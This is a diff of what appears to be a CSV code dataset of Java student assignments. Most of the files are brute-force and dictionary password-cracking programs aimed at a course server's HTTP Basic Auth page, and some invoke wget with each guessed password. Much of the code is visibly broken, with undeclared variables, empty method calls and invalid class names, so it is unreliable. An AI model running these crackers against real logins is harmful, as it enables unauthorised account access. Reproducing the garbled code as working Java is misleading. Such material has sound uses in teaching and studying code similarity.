+		catch (IOException MalformedURLException)
+		{
+			System.out.print(""Invalid URL"");
+			return false;
+		}
+	}
+
+
+	private static double getTime(double startTime)
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double endTime = now.getTime();
+
+        return endTime-startTime;
+
+	}
+
+}
+"
+057.java,"                   
+                   
+
+ import java.io.*;
+
+
+   class Dictionary
+   {
+      public static void main (String[]a)
+      {
+         new PassGen();
+      }
+   }
+
+       class PassGen
+       {
+           String password;
+	        char url;
+            Process p;
+            Runtime r;
+            FileReader fr;
+            BufferedReader bf;
+            int exitValue=1;
+            int startTime,finishTime;
+            int noOfAttempts=0;
+
+
+       	   PassGen()
+	       {
+
+    	     String s;
+	           try
+	             {
+              		  fr=new FileReader(""./words"");
+                    bf =new BufferedReader(fr);
+                     r=Runtime.getRuntime();
+                     startTime=System.currentTimeMillis();
+                     while((password=bf.readLine())!=null &&  exitValue !=0)
+                      {
+                        if(password.length()<=3)
+                         {
+                           s=""wget --http-user= --http-passwd=""+password+""  http://sec-crack.cs.rmit.edu./SEC/2/ "";
+                           p=r.exec(s);
+                           System.out.println(password);
+                           noOfAttempts++  ;
+                           p.waitFor();
+                           r.freeMemory();
+                           r.gc();
+                           exitValue=p.exitValue();
+                         }
+
+         		        if(exitValue==0)
+               	          {
+                              System.out.println(""The paswword is :""+password);
+                              finishTime=System.currentTimeMillis();
+                              System.out.println(""Total Time Taken:=""+((finishTime-startTime)/1000)+"" seconds"");
+                              System.out.println(""Number of attempts:=""+noOfAttempts);
+                              break;
+                 		   }
+
+	    	          }
+
+		          fr.print();
+		       }
+		 catch(Exception e)
+		 {
+
+		   System.out.println(e);
+
+		 }
+		 finally
+		 {
+
+		   if(exitValue!=0)
+		   System.out.println(""Password not cracked--oops"");
+		 }
+
+      }
+    }"
+074.java,"
+
+
+
+
+import java.io.*;
+import java.net.*;
+
+
+
+public class BruteForce
+{
+   public static void main(String args[]) throws IOException,
+   MalformedURLException
+   {
+      final String username = """";
+      final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+      
+      String temppass;
+      String password = """";
+      URL url = new URL(fullurl);
+      boolean cracked = false;
+      
+      String c[] = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",
+                    ""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",""d"",
+                    ""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",
+                    ""t"",""u"",""v"",""w"",""x"",""y"",""z""};
+      
+       startTime = System.currentTimeMillis();
+                    
+      
+      
+      for(int i = 0; i < 52 && !cracked; i++) {
+         temppass = c[i]; 
+         Authenticator.setDefault(new MyAuthenticator(username, temppass));
+         try{
+            
+            
+            BufferedReader r = new BufferedReader(new InputStreamReader(
+               url.openStream()));
+            
+            
+            cracked = true;
+            password = temppass;
+         } catch(Exception e){}
+      }
+      
+      for(int i = 0; i < 52 && !cracked; i++) {
+         for(int j = 0; j < 52 && !cracked; j++) {
+            temppass = c[i]+c[j];
+            Authenticator.setDefault(new MyAuthenticator(username, temppass));
+            try{
+               BufferedReader r = new BufferedReader(new InputStreamReader(
+                  url.openStream()));
+               cracked = true;
+               password = temppass;
+            } catch(Exception e){}
+         }
+      }
+      
+      for(int i = 0; i < 52 && !cracked; i++) {
+         for(int j = 0; j < 52 && !cracked; j++) {
+            for(int k = 0; k < 52; k++) {
+               temppass = c[i]+c[j]+c[k];
+               Authenticator.setDefault(new MyAuthenticator(username,temppass));
+               try{
+                  BufferedReader r = new BufferedReader(new InputStreamReader(
+                     url.openStream()));
+                  cracked = true;
+                  password = temppass;
+               } catch(Exception e){}
+            }
+         }
+      }
+       stopTime = System.currentTimeMillis();
+      
+      if(!cracked)
+         System.out.println(""Sorry, couldnt find the password"");
+      else
+         System.out.println(""Password found: ""+password);
+      System.out.println(""Time taken: ""+(stopTime-startTime));
+   }
+}
+
+"
+106.java,"
+
+
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.UsernamePasswordCredentials;
+import org.apache.commons.httpclient.cookie.CookiePolicy;
+import org.apache.commons.httpclient.methods.GetMethod;
+
+
+
+
+public class  BruteForce{
+
+    static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite"");
+    static final int    LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue();
+
+    static final int    USE_PROXY_SERVER  = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue();
+    static final int    PROXY_PORT        = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue();
+
+    static final String PROXY_SERVER      = BruteForcePropertyHelper.getProperty(""proxyServer"");
+    static final String PROXY_USENAME     = BruteForcePropertyHelper.getProperty(""proxyUserName"");
+    static final String PROXY_PASSWORD    = BruteForcePropertyHelper.getProperty(""proxypassword"");
+
+    static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod"");
+    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue();
+
+    static final String[] cValidChars	 = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
+
+    public BruteForce() {
+        super();
+    }
+
+
+
+
+    public static void main (String[] args) throws Exception {
+
+		String	statusLine = "" "";
+		int		count = 0;
+		int		firstLetterIndex = 0;
+		int		secondLetterIndex = 0;
+		int		thirdLetterIndex = 0;
+		int		divValue = 0;
+
+
+
+
+		String userName = """";
+		String password = """";
+
+
+        HttpClient client = new HttpClient();
+
+		
+
+        if (USE_PROXY_SERVER == 1) {
+  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
+  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));
+
+        }
+
+        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
+        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http"");
+        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);
+
+
+		
+
+		count = 0;
+
+		for (int f = 0; f < 52; f++) {
+
+			firstLetterIndex = f;
+
+			password = cValidChars[firstLetterIndex];
+			System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password);
+
+	        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
+	        client.executeMethod(getMethod);
+	        statusLine = getMethod.getStatusLine().toString();
+
+
+			if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
+				System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
+				System.exit(0);
+			}
+	    }
+
+
+		
+		count = 0;
+
+		for (int g = 0; g < 52; g++) {
+
+			firstLetterIndex = g;
+
+			for (int h = 0; h < 52; h++) {
+
+			secondLetterIndex = h;
+
+			password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];
+
+				System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);
+
+		        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
+
+				++count;
+
+				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
+
+
+				if (divValue == 0) {
+
+					System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one"");
+					getMethod.releaseConnection();
+					getMethod = null;
+					getMethod = new GetMethod(GET_METHOD_HACKER);
+
+				}
+
+		        client.executeMethod(getMethod);
+
+		        statusLine = getMethod.getStatusLine().toString();
+				System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
+
+				if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
+					System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
+
+					System.exit(0);
+				}
+		    }
+
+		}
+
+		
+		
+
+		getMethod.releaseConnection();
+		getMethod = null;
+		getMethod = new GetMethod(GET_METHOD_HACKER);
+
+		count = 0;
+		for (int i = 0; i < 52; i++) {
+
+			firstLetterIndex = i;
+
+			for (int j = 0; j < 52; j++) {
+
+				secondLetterIndex = j;
+
+				for (int k = 0; k < 52; k++) {
+
+					thirdLetterIndex = k;
+
+					password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];
+					System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ ""  ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);
+
+			        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
+
+					++count;
+
+					divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
+
+
+					if (divValue == 0) {
+
+						System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one"");
+						getMethod.releaseConnection();
+						getMethod = null;
+						getMethod = new GetMethod(GET_METHOD_HACKER);
+
+					}
+
+			        client.executeMethod(getMethod);
+			        statusLine = getMethod.getStatusLine().toString();
+
+					if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
+						System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
+						System.exit(0);
+					}
+			    }
+			}
+		}
+    }
+}
+"
+136.java,"
+
+
+
+
+
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+public class MyWatchDogTimer extends TimerTask
+{
+	public void run()
+	{
+	  Runtime rt = Runtime.getRuntime();
+	  Process prss= null;
+	  String initialmd5,presentmd5,finalmd5,temp1;
+          String mesg1 = new String();
+          String subject = new String(""Report of WatchDog"");
+
+	  int i;
+          
+	  try
+          {
+
+              prss = rt.exec(""md5sum first.html"");
+
+              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
+              BufferedReader bufread1 = new BufferedReader(instre1);
+		    
+             sw  = bufread1.readLine();
+	      i = finalmd5.indexOf(' ');
+	      initialmd5 = finalmd5.substring(0,i);
+	      System.out.println(""this is of first.html--->""+initialmd5);
+		    
+
+		    
+              prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"");
+
+		    
+              prss = rt.exec(""md5sum present.html"");
+		    
+              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
+              BufferedReader bufread2 = new BufferedReader(instre2);
+		    
+	      temp1 = bufread2.readLine();
+	      i = temp1.indexOf(' ');
+	      presentmd5 = temp1.substring(0,i);
+	      System.out.println(""this is of present.html---->""+presentmd5);
+		
+    
+                 if(initialmd5.equals(presentmd5))
+                     System.out.println(""The checksum found using md5sum is same"");
+		 else
+		    {
+		      prss = rt.exec(""diff first.html present.html > diff.html"");
+                      System.out.println("" is different""); 
+                      prss = null;
+                  mesg1 =""php mail.php"";
+		      prss = rt.exec(mesg1);
+		    }   
+
+                   prss = rt.exec(""rm present.*"");
+
+    	     }catch(java.io.IOException e){}
+
+        }
+}		
+"
+108.java,"
+
+
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+public class DictionaryPropertyHelper {
+
+	private static Properties dictProps;
+
+
+
+	public DictionaryPropertyHelper() {
+	}
+
+
+	
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the dictionary Props"");
+			e.printStackTrace();
+		}
+		return dictProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(dictProps == null){
+			dictProps = new Properties();
+
+			InputStream fis =
+				DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
+			dictProps.load(fis);
+		}
+	}
+}
+
+"
+072.java,"
+
+
+
+
+
+
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+
+public class BruteForce
+{
+   public BruteForce()
+   {
+      try {
+         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2"");
+         MyAuthenticator m = new MyAuthenticator();
+         Authenticator userPassword = m.getPasswordAuthentication("": "", ""Z"");
+         URLConnection uc = url.openConnection();
+         HttpURLConnection http = (HttpURLConnection) uc;
+         uc.setRequestProperty  (""Authorization"", "" "");
+         
+         
+         System.out.println(""hello"");
+         
+         http.setRequestMethod(""POST"");
+       } catch (MalformedURLException e) {
+         System.out.println(""Invalid URL"");
+       } catch (IOException e) {
+         System.out.println(""Error  URL"");
+       }
+    }
+
+public static void main (String args[]) {
+   BruteForce gogetit = new BruteForce();
+   }
+
+class MyAuthenticator {
+   Authenticator getPasswordAuthentication(String login, char password) {
+      {
+
+         
+         for(int i = 0; i < 3; i++)
+         {
+            password = (char)(57.0 * Math.random() + 65);
+            if ((password < 97) && (password > 90))
+            {
+               i--;
+               continue;
+            }
+            login = login + password;
+         }
+     
+      }while(uc.getURL()!= 401);   
+     
+   }
+}
+
+}
+"
+191.java,"
+
+
+
+
+import java.io.IOException;
+import java.net.*;
+
+import java.io.*;
+import java.util.*;
+
+
+
+public class BruteForce
+
+{
+
+   static String strLetter[];
+
+   static URL url = null;
+   static URLConnection urlConnection;
+   static InputStream urlStream;
+
+   static String strExceptionPassword[];
+
+   static int intExceptionCount = -1;
+
+   static int intNumberOfConnectionAttempts = 0;
+
+   static String username = """";
+
+   static String strLastPasswordTested;
+
+
+
+   public static void main (String args[])
+   
+   {
+
+         
+         
+      Calendar calStart;
+      Calendar calFinish;   
+      Date dateStart;
+      Date dateFinish;
+       lngStart;
+       lngFinish;
+
+
+
+         
+         
+      calStart  = new GregorianCalendar();
+      dateStart = calStart.getTime();
+      lngStart  = dateStart.getTime();          
+
+
+
+
+      System.out.println();
+      System.out.println();
+
+
+
+
+         
+         
+      populateArray();
+
+
+         
+         
+         
+         
+
+      boolean boolPasswordFound = false;
+      boolean boolExceptionPasswordsTestedAgain = false;
+
+      String strPasswd;
+
+
+
+
+      String urlString
+            = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+      int intCounter1 = 0;
+      int intCounter2 = 0;
+      int intCounter3 = 0;
+
+      int intArrayLength = strLetter.length;
+
+
+
+
+         
+         
+         
+         
+         
+      strExceptionPassword = new String[5000];
+
+
+
+      if (!boolPasswordFound) 
+      {
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
+         {
+
+            boolPasswordFound = true;
+
+            boolPasswordFound 
+                   = passwordWasFound(urlString,
+                                      strLetter[intCounter1], 
+                                      boolPasswordFound);
+
+            intCounter1++;
+
+         }
+
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
+         {
+
+            intCounter2 = 0;
+
+            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
+            {
+
+               boolPasswordFound = true;
+
+               boolPasswordFound 
+                   = passwordWasFound
+                          (urlString,
+                           strLetter[intCounter1] 
+                                  + strLetter[intCounter2], 
+                           boolPasswordFound);
+
+               intCounter2++;  
+
+            }
+
+
+            intCounter1++;
+
+         }
+
+
+
+
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
+         {
+
+            intCounter2 = 0;
+
+            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
+            {
+
+               intCounter3 = 0;
+
+
+               while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
+               {
+
+                  boolPasswordFound = true;
+
+
+                  boolPasswordFound 
+                      = passwordWasFound
+                             (urlString,
+                              strLetter[intCounter1] 
+                                    + strLetter[intCounter2]
+                                    + strLetter[intCounter3], 
+                              boolPasswordFound);
+
+                  intCounter3++;
+
+               }
+
+
+               intCounter2++;
+
+            }
+
+
+            intCounter1++; 
+
+         }
+
+
+
+
+            
+            
+            
+            
+            
+
+         intCounter1 = 0;
+
+         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
+         {
+
+            boolExceptionPasswordsTestedAgain = true;
+            boolPasswordFound = true;
+
+            boolPasswordFound 
+                = passwordWasFound(urlString,
+                                   strExceptionPassword[intCounter1],
+                                   boolPasswordFound);  
+
+            intCounter1++;
+
+         }
+
+      }   
+
+
+
+      System.out.println();
+
+
+
+         
+         
+      calFinish  = new GregorianCalendar();
+      dateFinish = calFinish.getTime();
+      lngFinish  = dateFinish.getTime();      
+
+
+
+         
+         
+      System.out.println();
+      System.out.println();
+
+
+      System.out.println();
+      System.out.println(""Length of time for processing: "" + 
+                         ((lngFinish - lngStart) / 1000)   + 
+                         "" seconds"");
+
+
+      System.out.println();
+      System.out.println(""Number of connection attempts = "" + intNumberOfConnectionAttempts);
+
+
+      System.out.println();
+      System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1));
+
+
+      if (intExceptionCount >= 0)
+      {
+         System.out.print(""These EXCEPTION passwords WERE "");
+
+         if (boolExceptionPasswordsTestedAgain)
+            System.out.print(""tested again."");
+         else
+            System.out.print(""NOT tested again."");
+
+         System.out.println();
+      }
+
+
+      System.out.println();
+
+
+      if (boolPasswordFound) 
+      {
+         System.out.println(""The correct password WAS found - this password is '"" + 
+                            strLastPasswordTested + ""'."");
+      } 
+      else
+      {
+         System.out.println(""The correct password WAS NOT found."");
+      } 
+            
+      System.out.println();
+
+
+
+
+   }
+
+
+
+
+
+
+
+   static void populateArray()
+   
+   {
+
+      strLetter = new String[52];
+
+
+      strLetter[0]  = ""a"";
+      strLetter[1]  = ""b"";
+      strLetter[2]  = ""c"";
+      strLetter[3]  = ""d"";
+      strLetter[4]  = ""e"";
+      strLetter[5]  = ""f"";
+      strLetter[6]  = ""g"";
+      strLetter[7]  = ""h"";
+      strLetter[8]  = ""i"";
+      strLetter[9]  = ""j"";
+      strLetter[10] = ""k"";
+      strLetter[11] = ""l"";
+      strLetter[12] = ""m"";
+      strLetter[13] = ""n"";
+      strLetter[14] = ""o"";
+      strLetter[15] = ""p"";
+      strLetter[16] = ""q"";
+      strLetter[17] = ""r"";
+      strLetter[18] = ""s"";
+      strLetter[19] = ""t"";
+      strLetter[20] = ""u"";
+      strLetter[21] = ""v"";
+      strLetter[22] = ""w"";
+      strLetter[23] = ""x"";
+      strLetter[24] = ""y"";
+      strLetter[25] = ""z"";
+      strLetter[26] = ""A"";
+      strLetter[27] = ""B"";
+      strLetter[28] = ""C"";
+      strLetter[29] = ""D"";
+      strLetter[30] = ""E"";
+      strLetter[31] = ""F"";
+      strLetter[32] = ""G"";
+      strLetter[33] = ""H"";
+      strLetter[34] = ""I"";
+      strLetter[35] = ""J"";
+      strLetter[36] = ""K"";
+      strLetter[37] = ""L"";
+      strLetter[38] = ""M"";
+      strLetter[39] = ""N"";
+      strLetter[40] = ""O"";
+      strLetter[41] = ""P"";
+      strLetter[42] = ""Q"";
+      strLetter[43] = ""R"";
+      strLetter[44] = ""S"";
+      strLetter[45] = ""T"";
+      strLetter[46] = ""U"";
+      strLetter[47] = ""V"";
+      strLetter[48] = ""W"";
+      strLetter[49] = ""X"";
+      strLetter[50] = ""Y"";
+      strLetter[51] = ""Z"";
+
+   }
+
+
+
+
+
+
+
+   static boolean passwordWasFound(String urlString,
+                                   String password,
+                                   boolean retVal)
+   
+   {
+
+      String strEncodeInput = username + "":"" + password;
+      boolean returnValue = retVal;
+      boolean boolExceptionThrown = false;
+
+
+
+      try
+      {
+
+         strLastPasswordTested = password;
+ 
+         intNumberOfConnectionAttempts++;
+
+         url = new URL(urlString);
+
+         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
+
+
+         System.out.print(""username = "" + 
+                          username      + 
+                          ""    ""        +
+                          ""password = "" +
+                          password);
+
+
+
+         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
+
+         urlConnection.setRequestProperty(""Authorization"", 
+                                          "" "" + encoding);   
+
+         System.out.println(""    response  = "" + urlConnection.getResponseCode());
+
+         if (urlConnection.getResponseCode() == 401)
+         {
+            returnValue = false;         
+         }
+
+      }
+
+      catch (MalformedURLException m)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.err.println(m);
+         System.out.println(""Malformed URL Exception error"");
+      }
+
+      catch (IOException io)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.out.println(""IOException error"");
+         System.err.println(io); 
+      }
+
+      catch (Exception e)
+      {
+         boolExceptionThrown = true;
+         returnValue = false;
+
+         System.out.println(""General exception....."");
+         System.err.println(e); 
+      }
+
+      finally
+      { 
+         urlConnection = null;
+         url = null; 
+      }
+
+
+      if (boolExceptionThrown)
+      {
+         intExceptionCount++;
+         strExceptionPassword[intExceptionCount] = password;
+      }
+
+
+      return returnValue;
+
+   }
+
+}"
+089.java,"import java.io.*;
+import java.net.*;
+import java.security.*;
+import java.math.*;
+import java.*;
+import java.util.*;
+
+
+public class BruteForce
+{
+    public static void main (String args[]) throws Exception {
+	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
+    int found = 0, count = 0, ctrl = 0, flag = 0;
+
+
+          stime = System.currentTimeMillis();
+         char[] c = new char[3];
+         System.out.println(""Cracking password by Brute Force..."");
+
+	     for(int i=65; ((i<123) && (found == 0)); i++)
+	     {
+	       for(int j=65; ((j<123) && (found == 0)); j++)
+	       {
+	         for (int k=65; ((k<123) && (found == 0)); k++)
+	         {
+               try {
+                   if (ctrl == 0) {
+                      c[0] = '\0';
+                      c[1] = '\0';
+                   } else if ((ctrl == 1) && (flag == 0)) {
+                     c[0] = '\0';
+                   }
+                      c[2] = (char)(k);
+
+	               
+                   URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+                   URLConnection yc = yahoo.openConnection();
+
+                   
+                   String authString = "":"" + String.valueOf();
+                   String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
+                   yc.setRequestProperty(""Authorization"", "" "" + auth);
+                   count++;
+
+                   
+                   BufferedReader in = new BufferedReader(
+                                           new InputStreamReader(
+                                           yc.getInputStream()));
+
+                   String inputLine;
+                   while ((inputLine = in.readLine()) != null){
+                           System.out.println(inputLine);
+                            etime = System.currentTimeMillis();
+                           System.out.println(""Password found -- "" + String.valueOf());
+                           System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec"");
+                           System.out.println(""# of attempt = "" + count);
+                           System.out.println(""End of cracking!"");
+                           found = 1;
+                   }
+                   in.print();
+
+	           } catch (Exception ex) {}
+	         }
+	         ctrl = 1;
+             c[1] = (char)(j);
+           }
+           ctrl = 2;
+           flag = 1;
+           c[0] = (char)(i);
+         }
+         if (found == 0){
+           System.out.println(""Sorry,  password found."");
+           System.out.println(""# of attempt = "" + count);
+           System.out.println(""End of cracking!"");
+         }
+    }
+}"
+213.java,"import java.io.*;
+import java.util.*;
+
+public class getImage
+{
+  private FileWriter fw;
+  public getImage()
+  {}
+  public void translogFile(String[] result)
+  {
+     String fileName = ""ImageList.txt"";
+   	 try{
+	    fw=new FileWriter(fileName,false);
+	    for(int i=0;result[i]!=null;i++)
+        {
+          fw.write(result[i]);
+	      fw.write('\n');
+	    }
+	    fw.close();
+   	    System.out.println(""Saved sucessfully"");
+     }catch(IOException e){
+		System.out.println(""Error saving the file"");
+     }
+  }
+  public void translogFile1(String[] result)
+  {
+     String fileName = ""JpgGifList.txt"";
+   	 try{
+	    fw=new FileWriter(fileName,false);
+	    for(int i=0;result[i]!=null;i++)
+        {
+          fw.write(result[i]);
+	      fw.write('\n');
+	    }
+	    fw.close();
+   	    System.out.println(""Saved sucessfully"");
+     }catch(IOException e){
+		System.out.println(""Error saving the file"");
+     }
+  }
+  public void tokenFile(String fileName)
+  {
+      
+      String tuteId="""";
+      String aWord="""";
+      String bWord="""";
+      String cWord="""";
+      String line=null;
+      String[] myArray = new String[10];
+      String[] myArrayB = new String[10];
+      boolean studFlag=false;
+      int j=0;
+      int i=0;
+      try
+	    {
+	        BufferedReader inputStream= new BufferedReader(new FileReader(fileName));
+	     	line=inputStream.readLine();
+			while (line!= null)
+			{
+				StringTokenizer word= new StringTokenizer(line,"" '\""' "");
+				while (word.hasMoreTokens())
+				{
+					aWord=word.nextToken();
+                    if(aWord.endsWith(""gif"") || aWord.endsWith(""jpg""))
+                    {
+                       if(!aWord.startsWith(""http""))
+                       {
+                           bWord = ""http://www.cs.rmit.edu.""+aWord;
+                           myArray[j++]=bWord;
+                           System.out.println(bWord);
+                           StringTokenizer word1= new StringTokenizer(aWord,""/"");
+                           while (word1.hasMoreTokens())
+                           {
+                             cWord=word1.nextToken();
+                             if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg""))
+                             {
+                                myArrayB[i++]=cWord;
+                             }
+                           }
+                       }
+                       else
+                       {
+
+                         myArray[j++]=aWord;
+                         System.out.println(aWord);
+                         StringTokenizer word1= new StringTokenizer(aWord,""/"");
+                         while (word1.hasMoreTokens())
+                         {
+                          cWord=word1.nextToken();
+                          if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg""))
+                          {
+                            myArrayB[i++]=cWord;
+                          }
+                         }
+                       }
+					}
+			    }
+				line=inputStream.readLine();
+			}
+			 translogFile(myArray);
+			 translogFile1(myArrayB);
+		     inputStream.close();
+
+        }
+ 		catch(FileNotFoundException e)
+		{
+			System.err.println(""File ""+fileName+"" was not found"");
+        }
+		catch(IOException e)
+		{
+			System.err.println(""Error "");
+        }
+  }
+
+}"
+077.java,"
+
+
+
+
+
+import java.io.*;
+import java.net.*;
+
+
+
+public class Dictionary
+{
+   public static void main (String args[]) throws IOException,
+   MalformedURLException
+   {
+      final String username = """";
+      final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+      final String dictfile = ""/usr/share/lib/dict/words"";
+      String temppass;
+      String password = """";
+      URL url = new URL(fullurl);
+      boolean cracked = false;
+
+       startTime = System.currentTimeMillis();
+
+      
+      BufferedReader r = new BufferedReader(new FileReader(dictfile));
+
+      while((temppass = r.readLine()) != null && !cracked)
+      {  
+         
+         if(temppass.length() <= 3)
+         {
+            
+            if(isAlpha(temppass))
+            {
+               
+               Authenticator.setDefault(new MyAuthenticator(username,temppass));
+               try{
+                  BufferedReader x = new BufferedReader(new InputStreamReader(
+                     url.openStream()));
+                  cracked = true;
+                  password = temppass;
+               } catch(Exception e){}
+            }
+         }
+      }
+
+       stopTime = System.currentTimeMillis();
+      
+      if(!cracked)
+         System.out.println(""Sorry, couldnt find the password"");
+      else
+         System.out.println(""Password found: ""+password);
+      System.out.println(""Time taken: ""+(stopTime-startTime));
+   }
+
+   public static boolean isAlpha(String s)
+   {
+      boolean v = true;
+      for(int i=0; i<s.length(); i++)
+      {
+         if(!Character.isLetter(s.charAt(i)))
+            v = false;
+      }
+      return ;
+   }
+}
+
+"
+121.java,"
+
+
+import java.text.*;  
+import java.util.*;  
+import java.net.*;  
+import java.io.*;  
+
+  
+public class BruteForce {  
+
+   public int runProcess(String urlString,String passwd) {  
+
+       int returnval = 0;
+       MyAuthenticator auth = new MyAuthenticator(passwd);
+       Authenticator.setDefault(auth);
+
+	       System.out.println(""trying passord: "" + passwd);
+       try{
+            URL yahoo = new URL(urlString); 
+            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
+            String inputLine;
+            while ((inputLine = in.readLine()) != null) {
+	       System.out.println(inputLine);
+	       System.out.println(""passord: "" + passwd);
+               returnval = 1;
+            }
+	    in.close();
+          }catch(Exception e){ returnval = 0;}
+       return returnval;
+   }
+
+   public static void  main(String argv[]) {  
+
+       String[] val = 
+{""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
+
+      int l1 = 0;
+
+      int l2 = 0;
+
+      int l3 = 0;
+      
+      int retval = 0;
+
+      String pwd = """";
+
+      
+      BruteForce s = new BruteForce();  
+      String urlToSearch = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
+    
+      for (int a = 0; a < 52; a++) {
+
+        l1 = a;
+
+        pwd = val[l1];
+        retval = 0;
+        retval = s.runProcess(urlToSearch,pwd);  
+        if (retval > 0) {
+           System.exit(0);
+        }
+      }
+
+
+      for (int b = 0; b < 52; b++) {
+        l1 = b;
+        for (int c = 0; c < 52; c++) {
+
+          l2 = c;
+          pwd = val[l1]+ val[l2];
+          retval = 0;
+          retval = s.runProcess(urlToSearch,pwd);  
+          if (retval > 0) {
+             System.exit(0);
+          }
+        }
+      }
+
+
+      for (int d = 0; d < 52; d++) {
+        l1 = d;
+        for (int e = 0; e < 52; e++) {
+          l2 = e;
+          for (int f = 0; f < 52; f++) {
+
+              l3 = f;
+
+              pwd = val[l1]+ val[l2]+ val[l3];
+              retval = 0;
